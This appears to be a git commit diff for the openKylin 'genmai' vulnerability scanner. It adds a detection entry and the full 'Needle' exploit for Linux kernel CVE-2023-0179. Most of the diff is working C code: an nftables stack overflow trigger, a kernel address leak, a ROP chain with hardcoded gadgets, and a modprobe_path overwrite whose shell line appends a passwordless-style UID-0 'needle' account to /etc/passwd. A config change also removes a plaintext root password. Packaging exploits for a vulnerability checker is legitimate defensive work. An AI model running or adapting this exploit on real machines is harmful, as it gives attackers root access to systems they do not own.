mirror of https://gitee.com/openkylin/genmai.git
Merge branch 'master' of gitee.com:openkylin/genmai into feat_CVE_2022_0492
Signed-off-by: 宋虎涛 <htsong@buaa.edu.cn>
This commit is contained in:
commit
414df1ea13
|
@ -1,6 +1,6 @@
|
|||
ConfigFilePrefix: ../data/BaseLine/
|
||||
Type: baseline
|
||||
RootPasswd: sbcj1999 #部分检测需要用到高权限
|
||||
RootPasswd: #部分检测需要用到高权限
|
||||
ExplorerItems:
|
||||
- ConfigFile: UserAnalysis/checkUser.yaml #检测root权限用户
|
||||
- ConfigFile: UserAnalysis/checkGid.yaml #检测特权组用户
|
||||
|
|
|
@ -0,0 +1,46 @@
|
|||
FormatVer: 20230309
|
||||
Id: CVE-2023-0179
|
||||
Belong: kernel
|
||||
PocHazardLevel: Medium
|
||||
Source: https://github.com/TurtleARM/CVE-2023-0179-PoC
|
||||
SiteInfo:
|
||||
Name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核
|
||||
Severity: high
|
||||
Description:
|
||||
Linux Kernel nftables 存在整数溢出漏洞,该漏洞是由于nft_payload_copy_vlan函数的ethlen变量计算不正确,经过身份验证的攻击者可以利用该漏洞将本地权限提升至ROOT权限。
|
||||
ScopeOfInfluence:
|
||||
v5.5-rc1 <= Linux Kernel <= v6.2-rc4
|
||||
References:
|
||||
- https://www.openwall.com/lists/oss-security/2023/01/13/2
|
||||
- https://patchwork.ozlabs.org/project/netfilter-devel/patch/20230111212251.193032-4-pablo@netfilter.org/
|
||||
SiteClassification:
|
||||
CvssMetrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
CvssScore: 7.8
|
||||
CveId: CVE-2023-0179
|
||||
CweId: CWE-190
|
||||
CnvdId: None
|
||||
KveId: None
|
||||
Tags:
|
||||
- 权限提升
|
||||
SiteRequests:
|
||||
Implement:
|
||||
ImArray:
|
||||
- Inter : bash
|
||||
InterArgs :
|
||||
Exec : poc.sh
|
||||
Args :
|
||||
ExpireTime: #second
|
||||
|
||||
# < input
|
||||
# > output
|
||||
# . wait
|
||||
# ? condition
|
||||
# : content
|
||||
#
|
||||
#组合起来
|
||||
# >. 等待直到输出
|
||||
# << 输入字符
|
||||
# >?判断条件
|
||||
Inter:
|
||||
- ">.:Got root, you can now login as "needle:needle""#ture
|
||||
Condition: None
|
|
@ -0,0 +1,12 @@
|
|||
objects= ./helpers.o ./exploit.o ./needle.o
|
||||
|
||||
.PHONY: clean needle
|
||||
|
||||
needle: $(objects)
|
||||
$(CC) $(objects) -lmnl -lnftnl -o needle
|
||||
|
||||
./%.o: %.c
|
||||
$(CC) -c $(CFLAGS) -o "$@" "$<"
|
||||
|
||||
clean:
|
||||
rm -rf ./helpers.o ./needle.o ./needle ./exploit.o
|
|
@ -0,0 +1,30 @@
|
|||
# Needle (CVE-2023-0179) exploit
|
||||
|
||||
This repository contains the exploit for my recently discovered vulnerability in the nftables subsystem that was assigned CVE-2023-0179, affecting all Linux versions from 5.5 to 6.2-rc3, although the exploit was tested on 6.1.6.
|
||||
|
||||
The vulnerability details and writeup can be found on [oss-security](https://www.openwall.com/lists/oss-security/2023/01/13/2)
|
||||
|
||||
## Building instructions
|
||||
Just invoke the `make needle` command to generate the corresponding executable.
|
||||
|
||||
`libmnl` and `libnftnl` are required for the build to succeed:
|
||||
```bash
|
||||
sudo apt-get install libmnl-dev libnftnl-dev
|
||||
```
|
||||
|
||||
## Infoleak
|
||||
|
||||
The exploit will enter an unprivileged user and network namespace and add an `nft_payload` expression via the `rule_add_payload` function which, when evaluated, will trigger the stack buffer overflow and overwrite the registers.
|
||||
|
||||
The content is then retrieved with the following nft command:
|
||||
|
||||
`nft list map netdev mytable myset12`
|
||||
|
||||
The output will leak several shuffled addresses relative to kernel data structures, among which we find a kernel instruction address and the regs pointer.
|
||||
|
||||
## LPE
|
||||
|
||||
The exploit creates a new user account `needle:needle` with UID 0 by abusing the `modprobe_path` variable.
|
||||
|
||||
Enjoy root privileges.
|
||||
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,354 @@
|
|||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include <string.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <stdint.h>
|
||||
#include <sys/types.h>
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <libmnl/libmnl.h>
|
||||
#include <libnftnl/table.h>
|
||||
#include <libnftnl/chain.h>
|
||||
#include <libnftnl/rule.h>
|
||||
#include <libnftnl/set.h>
|
||||
#include <libnftnl/expr.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#include "exploit.h"
|
||||
#include "helpers.h"
|
||||
|
||||
void split_struct(struct jumpstack_t s, char dest[][4])
|
||||
{
|
||||
char* p = (char*) &s;
|
||||
int i;
|
||||
|
||||
for (i = 0; i < sizeof(s); i += 4) {
|
||||
unsigned int x = *(unsigned int*) (p + i);
|
||||
memcpy(dest[i/4], &x, 4);
|
||||
}
|
||||
}
|
||||
|
||||
struct jumpstack_t fill_jumpstack(unsigned long reg0, unsigned long kaslr)
|
||||
{
|
||||
struct jumpstack_t jumpstack = {0};
|
||||
jumpstack.init = 'A';
|
||||
jumpstack.rule = reg0 + 0xf8;
|
||||
jumpstack.last_rule = 0xffffffffffffffff;
|
||||
jumpstack.eval = reg0 + 0x108;
|
||||
jumpstack.pivot = 0xffffffff81134571 + kaslr;
|
||||
unsigned char pad[31] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
|
||||
strcpy(jumpstack.pad, pad);
|
||||
return jumpstack;
|
||||
}
|
||||
|
||||
void get_4_bytes(unsigned long address, char* lsb, char* msb)
|
||||
{
|
||||
uint32_t address_32 = (uint32_t)(address >> 32);
|
||||
for (int i = 0; i < 4; i++) {
|
||||
lsb[i] = (address >> (i * 8)) & 0xff;
|
||||
msb[i] = (address_32 >> (i * 8)) & 0xff;
|
||||
}
|
||||
}
|
||||
|
||||
int privesc()
|
||||
{
|
||||
puts("[+] Returned to userland, setting up for fake modprobe");
|
||||
// Password is just "needle"
|
||||
system("echo '#!/bin/sh\necho needle:M6Jplzqa7rJp.:0:0:root:/root:/bin/sh >> /etc/passwd' > /tmp/windprobe");
|
||||
system("chmod +x /tmp/windprobe");
|
||||
|
||||
int fd = open("/tmp/dummy", O_RDWR | O_CREAT);
|
||||
if (fd < 0) {
|
||||
perror("[-] Trigger creation failed");
|
||||
return -1;
|
||||
}
|
||||
char sig[] = "\xff\xff\xff\xff";
|
||||
write(fd, sig, sizeof(sig));
|
||||
close(fd);
|
||||
chmod("/tmp/dummy", 0777);
|
||||
execl("/tmp/dummy", "/tmp/dummy", (char *)NULL);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int create_final_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq, uint8_t offset, uint8_t len, unsigned long regs, unsigned long instr)
|
||||
{
|
||||
struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
|
||||
|
||||
/*
|
||||
There are only a few possible addresses where regs will end up, depending on the Linux version.
|
||||
Option 1 helps finding these addresses to predict the next allocation point.
|
||||
*/
|
||||
|
||||
unsigned long reg0 = regs + 0x10; // e.g. 0xffffc90000003af0; 0xffffc900000e0af0;
|
||||
unsigned long kaslr = instr - INSTR_BASE; // change me
|
||||
unsigned char lsb[4] = {};
|
||||
unsigned char msb[4] = {};
|
||||
struct jumpstack_t jumpstack = fill_jumpstack(reg0, kaslr);
|
||||
char dest[16][4];
|
||||
split_struct(jumpstack, dest);
|
||||
|
||||
/*
|
||||
1. Prepare the jumpstack layout, saving space in the registers
|
||||
&jumpstack[8].chain = 0xffffc90000003bf0 = reg0 + 0x100
|
||||
the first address (0xffffc90000003be8) is the rule pointing 8 bytes before the expression address (0xffffc90000003bf8)
|
||||
the last address (0xffffffff81134571) is the first gadget, a stack pivot to reg32_00
|
||||
|
||||
unsigned char *jumpstack[] = {"A\xe8\x3b\x00", "\x00\x00\xc9\xff", "\xff\xff\xff\xff", "\xff\xff\xff\xff", "\xff\xf8\x3b\x00", "\x00\x00\xc9\xff", "\xff\x71\x45\x13", "\x81\xff\xff\xff", "\xff\x41\x41\x41",
|
||||
"AAAA", "AAAA", "AAAA", "AAAA", "AAAA","AAAA", "AAAA"};
|
||||
|
||||
unsigned char *jumpstack[] = {"A\xe8\x0b\x0e", "\x00\x00\xc9\xff", "\xff\xff\xff\xff", "\xff\xff\xff\xff", "\xff\xf8\x0b\x0e", "\x00\x00\xc9\xff", "\xff\x71\x45\x13", "\x81\xff\xff\xff", "\xff\x41\x41\x41",
|
||||
"AAAA", "AAAA", "AAAA", "AAAA", "AAAA","AAAA", "AAAA"};
|
||||
*/
|
||||
|
||||
for (int reg = NFT_REG32_00; reg <= NFT_REG32_15; reg++) {
|
||||
rule_add_immediate_data(r, reg, (void *) dest[reg - NFT_REG32_00], 4);
|
||||
}
|
||||
|
||||
/*
|
||||
2. Trigger overflow, overwriting the jumpstack
|
||||
*/
|
||||
rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, offset, len, NFT_REG32_15);
|
||||
|
||||
/*
|
||||
3. ROP chain setup for Linux 6.1.6, change accordingly
|
||||
Gadgets:
|
||||
0xffffffff81134571: add rsp, 0x48 ; pop ... ; ret -> stack pivot, pops 0x30 bytes including rbp to reach REG32_00
|
||||
0xffffffff81015b34: pop rax; ret -> save new modprobe path
|
||||
0xffffffff8107fec5: pop rdi; ret -> save modprobe_path address
|
||||
0xffffffff810d18a2: mov [rdi] rax ; pop rbp ; ret -> overwrite modprobe_path and restore rbp
|
||||
0xffffffff810b3af0: mov rsp, rbp ; pop rbp ; ret -> return from nft_do_chain
|
||||
Static values:
|
||||
0xffffffff81c2cfa1: Instruction from TEXT returned by leak without KASLR
|
||||
0xffffffff8308fb40: modprobe_path
|
||||
0x6e69772f706d742f: /tmp/windprobe
|
||||
reg0 + 0x2b0: old rbp for nft_hook_slow
|
||||
*/
|
||||
unsigned long pop_rax_ret = 0xffffffff81015b34 + kaslr;
|
||||
unsigned long local_path = TMP_WINDPROBE;
|
||||
unsigned long pop_rdi_ret = 0xffffffff8107fec5 + kaslr;
|
||||
unsigned long modprobe = 0xffffffff8308fb40 + kaslr;
|
||||
unsigned long mov_rdi_rax_ret = 0xffffffff810d18a2 + kaslr;
|
||||
unsigned long old_rbp = reg0 + 0x2b0;
|
||||
unsigned long nft_hook_slow_ret = 0xffffffff810b3af0 + kaslr;
|
||||
|
||||
get_4_bytes(pop_rax_ret, lsb, msb);
|
||||
rule_add_immediate_data(r, NFT_REG32_00, (void *) lsb, 4);
|
||||
rule_add_immediate_data(r, NFT_REG32_01, (void *) msb, 4);
|
||||
|
||||
get_4_bytes(local_path, lsb, msb);
|
||||
rule_add_immediate_data(r, NFT_REG32_02, (void *) lsb, 4);
|
||||
rule_add_immediate_data(r, NFT_REG32_03, (void *) msb, 4);
|
||||
|
||||
get_4_bytes(pop_rdi_ret, lsb, msb);
|
||||
rule_add_immediate_data(r, NFT_REG32_04, (void *) lsb, 4);
|
||||
rule_add_immediate_data(r, NFT_REG32_05, (void *) msb, 4);
|
||||
|
||||
get_4_bytes(modprobe, lsb, msb);
|
||||
rule_add_immediate_data(r, NFT_REG32_06, (void *) lsb, 4);
|
||||
rule_add_immediate_data(r, NFT_REG32_07, (void *) msb, 4);
|
||||
|
||||
get_4_bytes(mov_rdi_rax_ret, lsb, msb);
|
||||
rule_add_immediate_data(r, NFT_REG32_08, (void *) lsb, 4);
|
||||
rule_add_immediate_data(r, NFT_REG32_09, (void *) msb, 4);
|
||||
|
||||
get_4_bytes(old_rbp, lsb, msb);
|
||||
rule_add_immediate_data(r, NFT_REG32_10, (void *) lsb, 4);
|
||||
rule_add_immediate_data(r, NFT_REG32_11, (void *) msb, 4);
|
||||
|
||||
get_4_bytes(nft_hook_slow_ret, lsb, msb);
|
||||
rule_add_immediate_data(r, NFT_REG32_12, (void *) lsb, 4);
|
||||
rule_add_immediate_data(r, NFT_REG32_13, (void *) msb, 4);
|
||||
|
||||
// We even got 8 bytes left :)
|
||||
|
||||
// 3. Break from the regs verdict switch, going back to the corrupted previous chain
|
||||
rule_add_immediate_verdict(r, NFT_CONTINUE, "final_chain");
|
||||
|
||||
return send_batch_request(
|
||||
nl,
|
||||
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
|
||||
NLM_F_CREATE, family, (void**)&r, seq,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
|
||||
int create_jmp_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq)
|
||||
{
|
||||
struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
|
||||
int i = atoi(chain_name);
|
||||
i++;
|
||||
char next_chain[5];
|
||||
sprintf(next_chain, "%d", i);
|
||||
|
||||
if (i == 7) {
|
||||
// stackptr has been aligned, jump to the overflow chain
|
||||
rule_add_immediate_verdict(r, NFT_JUMP, "final_chain");
|
||||
} else {
|
||||
// Jump to the next jmp chain, incrementing stackptr
|
||||
rule_add_immediate_verdict(r, NFT_JUMP, next_chain);
|
||||
}
|
||||
|
||||
return send_batch_request(
|
||||
nl,
|
||||
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
|
||||
NLM_F_CREATE, family, (void**)&r, seq,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
|
||||
int create_base_chain_rule_pwn(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq)
|
||||
{
|
||||
struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
|
||||
rule_add_immediate_verdict(r, NFT_JUMP, "0");
|
||||
|
||||
return send_batch_request(
|
||||
nl,
|
||||
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
|
||||
NLM_F_CREATE, family, (void**)&r, seq,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
|
||||
int create_base_chain_rule_leak(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq)
|
||||
{
|
||||
struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
|
||||
|
||||
/*
|
||||
UDP filtering is not always possible since the datagram might not be delivered as we only receive broadcasts.
|
||||
Still, this is where you can implement your own filtering logic
|
||||
|
||||
in_addr_t d_addr;
|
||||
d_addr = inet_addr("192.168.123.123");
|
||||
rule_add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, offsetof(struct iphdr, daddr), sizeof(d_addr), 8);
|
||||
rule_add_cmp(r, NFT_CMP_EQ, 8, &d_addr, sizeof d_addr);
|
||||
*/
|
||||
|
||||
rule_add_immediate_verdict(r, NFT_GOTO, "exploit_chain");
|
||||
|
||||
return send_batch_request(
|
||||
nl,
|
||||
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
|
||||
NLM_F_CREATE, family, (void**)&r, seq,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
|
||||
int create_exploit_chain_rule_leak(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq, uint8_t offset, uint8_t len)
|
||||
{
|
||||
struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
|
||||
|
||||
// 1. Register grooming to check whether they have been overwritten
|
||||
char *keys[8];
|
||||
char *values[8];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
keys[i] = "\xff\xff\xff\xff";
|
||||
values[i] = "\xff\xff\xff\xff";
|
||||
}
|
||||
for (unsigned int keyreg = NFT_REG32_00; keyreg <= NFT_REG32_07; keyreg++) {
|
||||
rule_add_immediate_data(r, keyreg, (void *) keys[keyreg - NFT_REG32_00], 4);
|
||||
}
|
||||
for (unsigned int datareg = NFT_REG32_09; datareg <= NFT_REG32_15; datareg++) {
|
||||
rule_add_immediate_data(r, datareg, (void *) values[datareg - NFT_REG32_09], 4);
|
||||
}
|
||||
|
||||
// 2. Trigger overflow and overwrite registers
|
||||
rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, offset, len, NFT_REG32_00);
|
||||
|
||||
/*
|
||||
3. Copy useful registers to set
|
||||
Other Linux kernels may leak addresses inside different registers, you should try them all in that case
|
||||
|
||||
for (int keyreg = NFT_REG32_00, datareg = NFT_REG32_08; keyreg <= NFT_REG32_07, datareg <= NFT_REG32_15; datareg++, keyreg++) {
|
||||
rule_add_dynset(r, "myset12", keyreg, datareg);
|
||||
}
|
||||
*/
|
||||
rule_add_dynset(r, "myset12", NFT_REG32_06, NFT_REG32_07);
|
||||
rule_add_dynset(r, "myset12", NFT_REG32_14, NFT_REG32_15);
|
||||
|
||||
return send_batch_request(
|
||||
nl,
|
||||
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
|
||||
NLM_F_CREATE, family, (void**)&r, seq,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
|
||||
int pwn(struct mnl_socket* nl, unsigned long regs, unsigned long instr)
|
||||
{
|
||||
char *table_name = "exploit_table",
|
||||
*base_chain_name = "base_chain",
|
||||
*final_chain_name = "final_chain",
|
||||
*dev_name = "eth0";
|
||||
|
||||
int seq = time(NULL);
|
||||
|
||||
if (create_table(nl, table_name, NFPROTO_NETDEV, &seq, NULL) == -1) {
|
||||
perror("[-] Failed creating table");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
printf("[+] Created nft %s\n", table_name);
|
||||
|
||||
struct unft_base_chain_param bp;
|
||||
bp.hook_num = NF_INET_PRE_ROUTING;
|
||||
bp.prio = 10;
|
||||
if (create_chain(nl, table_name, base_chain_name, dev_name, NFPROTO_NETDEV, &bp, &seq, NULL)) {
|
||||
perror("[-] Failed creating base chain");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
printf("[+] Created base chain %s\n", base_chain_name);
|
||||
|
||||
if (create_chain(nl, table_name, final_chain_name, dev_name, NFPROTO_NETDEV, NULL, &seq, NULL)) {
|
||||
perror("[-] Failed creating final chain");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
printf("[+] Created final chain %s\n", final_chain_name);
|
||||
|
||||
char jmp_chain_name[5];
|
||||
for (int i = 0; i < 7; i++) {
|
||||
sprintf(jmp_chain_name, "%d", i);
|
||||
if (create_chain(nl, table_name, jmp_chain_name, dev_name, NFPROTO_NETDEV, NULL, &seq, NULL)) {
|
||||
perror("[-] Failed creating jmp chain");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
printf("[+] Created jmp chain %s\n", jmp_chain_name);
|
||||
}
|
||||
|
||||
if (create_base_chain_rule_pwn(nl, table_name, base_chain_name, NFPROTO_NETDEV, NULL, &seq)) {
|
||||
perror("[-] Failed creating base chain rule");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
puts("[+] Successfully created base_chain rule!");
|
||||
for (int i = 0; i < 7; i++) {
|
||||
sprintf(jmp_chain_name, "%d", i);
|
||||
if (create_jmp_chain_rule(nl, table_name, jmp_chain_name, NFPROTO_NETDEV, NULL, &seq)) {
|
||||
perror("[-] Failed creating jmp chain rule");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
puts("[+] Successfully created jmp chain rule!");
|
||||
}
|
||||
|
||||
uint8_t offset = 19, len = 4, vlan_hlen = 4;
|
||||
uint8_t ethlen = len - offset + len - VLAN_ETH_HLEN + vlan_hlen;
|
||||
if (create_final_chain_rule(nl, table_name, final_chain_name, NFPROTO_NETDEV, NULL, &seq, offset, len, regs, instr)) {
|
||||
perror("[-] Failed creating final chain rule");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
printf("[+] offset: %hhu & len: %hhu & ethlen = %hhu\n", offset, len, ethlen);
|
||||
puts("[+] Successfully created exploit chain rule!");
|
||||
|
||||
if (send_packet() == 0) {
|
||||
// Please do not interrupt
|
||||
system("nft delete table netdev exploit_table");
|
||||
puts("[+] Exploit triggered");
|
||||
if (privesc() == 0) {
|
||||
puts("[+] Got root, you can now login as \"needle:needle\"");
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
}
|
||||
return EXIT_FAILURE;
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
#pragma once
|
||||
#include <stdint.h>
|
||||
#include <sys/socket.h>
|
||||
#define TMP_WINDPROBE 0x6e69772f706d742f
|
||||
#define INSTR_BASE 0xffffffff81c2cfa1
|
||||
|
||||
#pragma pack(push,1)
|
||||
struct jumpstack_t {
|
||||
unsigned char init;
|
||||
unsigned long rule;
|
||||
unsigned long last_rule;
|
||||
unsigned long eval;
|
||||
unsigned long pivot;
|
||||
unsigned char pad[31];
|
||||
};
|
||||
#pragma pack(pop)
|
||||
|
||||
int create_base_chain_rule_pwn(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq);
|
||||
int create_base_chain_rule_pwn(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq);
|
||||
int create_base_chain_rule_leak(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq);
|
||||
int create_exploit_chain_rule_leak(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq, uint8_t offset, uint8_t len);
|
||||
int create_jmp_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq);
|
||||
int create_final_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq, uint8_t offset, uint8_t len, unsigned long regs, unsigned long instr);
|
||||
int pwn(struct mnl_socket* nl, unsigned long regs, unsigned long instr);
|
||||
int privesc();
|
|
@ -0,0 +1,395 @@
|
|||
/*
|
||||
* ----------------------------------------------------------------------------
|
||||
* "THE BEER-WARE LICENSE" (Revision 42):
|
||||
* David Bouman (pql) wrote this file. As long as you retain this notice you
|
||||
* can do whatever you want with this stuff. If we meet some day, and you think
|
||||
* this stuff is worth it, you can buy me a beer in return. Signed, David.
|
||||
* ----------------------------------------------------------------------------
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include <string.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <stdint.h>
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <libmnl/libmnl.h>
|
||||
#include <libnftnl/table.h>
|
||||
#include <libnftnl/chain.h>
|
||||
#include <libnftnl/rule.h>
|
||||
#include <libnftnl/set.h>
|
||||
#include <libnftnl/expr.h>
|
||||
#include <net/if.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
|
||||
#include "helpers.h"
|
||||
|
||||
unsigned long read_from_file(int line) {
|
||||
int fd;
|
||||
char buf[20];
|
||||
unsigned long result;
|
||||
char *endptr;
|
||||
|
||||
fd = open("reg.log", O_RDONLY);
|
||||
if (fd == -1) {
|
||||
perror("open");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (read(fd, buf, sizeof(buf)) == -1) {
|
||||
perror("read");
|
||||
close(fd);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (line == 1 && read(fd, buf, sizeof(buf)) == -1) {
|
||||
perror("read");
|
||||
close(fd);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
result = strtoul(buf, &endptr, 16);
|
||||
if (result == ULONG_MAX && endptr == buf) {
|
||||
fprintf(stderr, "strtoul: invalid argument\n");
|
||||
close(fd);
|
||||
exit(1);
|
||||
}
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
static uint64_t default_batch_req_handler(struct mnl_socket* nl, int portid, int table_seq)
|
||||
{
|
||||
char buf[MNL_SOCKET_BUFFER_SIZE];
|
||||
|
||||
int ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
|
||||
|
||||
while (ret > 0) {
|
||||
ret = mnl_cb_run(buf, ret, table_seq, portid, NULL, NULL);
|
||||
if (ret <= 0) break;
|
||||
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
int64_t send_batch_request(struct mnl_socket* nl, uint16_t msg, uint16_t msg_flags, uint16_t family, void** object, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
|
||||
{
|
||||
char buf[MNL_SOCKET_BUFFER_SIZE];
|
||||
struct mnl_nlmsg_batch* batch = mnl_nlmsg_batch_start(buf, sizeof buf);
|
||||
uint8_t msg_type = msg & 0xff;
|
||||
uint8_t nft_type = (msg >> 8) & 0xff;
|
||||
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), (*seq)++);
|
||||
mnl_nlmsg_batch_next(batch);
|
||||
int table_seq = *seq;
|
||||
struct nlmsghdr* nlh;
|
||||
|
||||
if (result_handler == NULL) {
|
||||
result_handler = default_batch_req_handler;
|
||||
}
|
||||
|
||||
if (msg == NFT_MSG_NEWSET) {
|
||||
nlh = nftnl_set_nlmsg_build_hdr(
|
||||
mnl_nlmsg_batch_current(batch),
|
||||
NFT_MSG_NEWSET, family,
|
||||
msg_flags | NLM_F_ACK, (*seq)++);
|
||||
} else {
|
||||
nlh = nftnl_nlmsg_build_hdr(
|
||||
mnl_nlmsg_batch_current(batch),
|
||||
msg_type, family,
|
||||
msg_flags | NLM_F_ACK, (*seq)++
|
||||
);
|
||||
}
|
||||
if (msg == NFT_MSG_NEWSET) {
|
||||
nftnl_set_nlmsg_build_payload(nlh, *object);
|
||||
nftnl_set_free(*object);
|
||||
} else {
|
||||
switch(nft_type) {
|
||||
case NFT_TYPE_TABLE:
|
||||
nftnl_table_nlmsg_build_payload(nlh, *object);
|
||||
nftnl_table_free(*object);
|
||||
break;
|
||||
case NFT_TYPE_CHAIN:
|
||||
nftnl_chain_nlmsg_build_payload(nlh, *object);
|
||||
nftnl_chain_free(*object);
|
||||
break;
|
||||
case NFT_TYPE_RULE:
|
||||
nftnl_rule_nlmsg_build_payload(nlh, *object);
|
||||
// offload mnl_attr_put_u32(nlh, NFTA_CHAIN_FLAGS, htonl(2));
|
||||
nftnl_rule_free(*object);
|
||||
break;
|
||||
default:
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
*object = NULL;
|
||||
|
||||
mnl_nlmsg_batch_next(batch);
|
||||
nftnl_batch_end(mnl_nlmsg_batch_current(batch), (*seq)++);
|
||||
mnl_nlmsg_batch_next(batch);
|
||||
|
||||
int ret = mnl_socket_sendto(
|
||||
nl,
|
||||
mnl_nlmsg_batch_head(batch),
|
||||
mnl_nlmsg_batch_size(batch)
|
||||
);
|
||||
|
||||
if (ret < 0) {
|
||||
perror("mnl_socket_send");
|
||||
return -1;
|
||||
}
|
||||
|
||||
int portid = mnl_socket_get_portid(nl);
|
||||
|
||||
mnl_nlmsg_batch_stop(batch);
|
||||
|
||||
result_handler(nl, portid, table_seq);
|
||||
}
|
||||
|
||||
struct nftnl_table* build_table(char* name, uint16_t family)
|
||||
{
|
||||
struct nftnl_table* t = nftnl_table_alloc();
|
||||
|
||||
nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
|
||||
nftnl_table_set_str(t, NFTNL_TABLE_NAME, name);
|
||||
|
||||
return t;
|
||||
}
|
||||
|
||||
struct nftnl_chain* build_chain(char* table_name, char* chain_name, char *dev_name, struct unft_base_chain_param* base_param)
|
||||
{
|
||||
struct nftnl_chain* c;
|
||||
|
||||
c = nftnl_chain_alloc();
|
||||
|
||||
nftnl_chain_set_str(c, NFTNL_CHAIN_NAME, chain_name);
|
||||
nftnl_chain_set_str(c, NFTNL_CHAIN_TABLE, table_name);
|
||||
if (dev_name)
|
||||
nftnl_chain_set_str(c, NFTNL_CHAIN_DEV, dev_name);
|
||||
|
||||
if (base_param) {
|
||||
nftnl_chain_set_u32(c, NFTNL_CHAIN_HOOKNUM, base_param->hook_num);
|
||||
nftnl_chain_set_u32(c, NFTNL_CHAIN_PRIO, base_param->prio);
|
||||
}
|
||||
|
||||
return c;
|
||||
}
|
||||
|
||||
struct nftnl_rule* build_rule(char* table_name, char* chain_name, uint16_t family, uint64_t* handle)
|
||||
{
|
||||
struct nftnl_rule* r = NULL;
|
||||
uint8_t proto;
|
||||
|
||||
r = nftnl_rule_alloc();
|
||||
|
||||
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table_name);
|
||||
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain_name);
|
||||
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
|
||||
|
||||
if (handle) {
|
||||
nftnl_rule_set_u64(r, NFTNL_RULE_POSITION, *handle);
|
||||
}
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
struct nftnl_set* build_set(char *table_name, char *set_name, uint16_t family)
|
||||
{
|
||||
// Create a new set object
|
||||
struct nftnl_set *set = nftnl_set_alloc();
|
||||
|
||||
nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
|
||||
nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
|
||||
nftnl_set_set_u32(set, NFTNL_SET_FLAGS, NFT_SET_MAP);
|
||||
nftnl_set_set_u32(set, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE);
|
||||
nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 4);
|
||||
nftnl_set_set_u32(set, NFTNL_SET_DATA_LEN, 4);
|
||||
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
|
||||
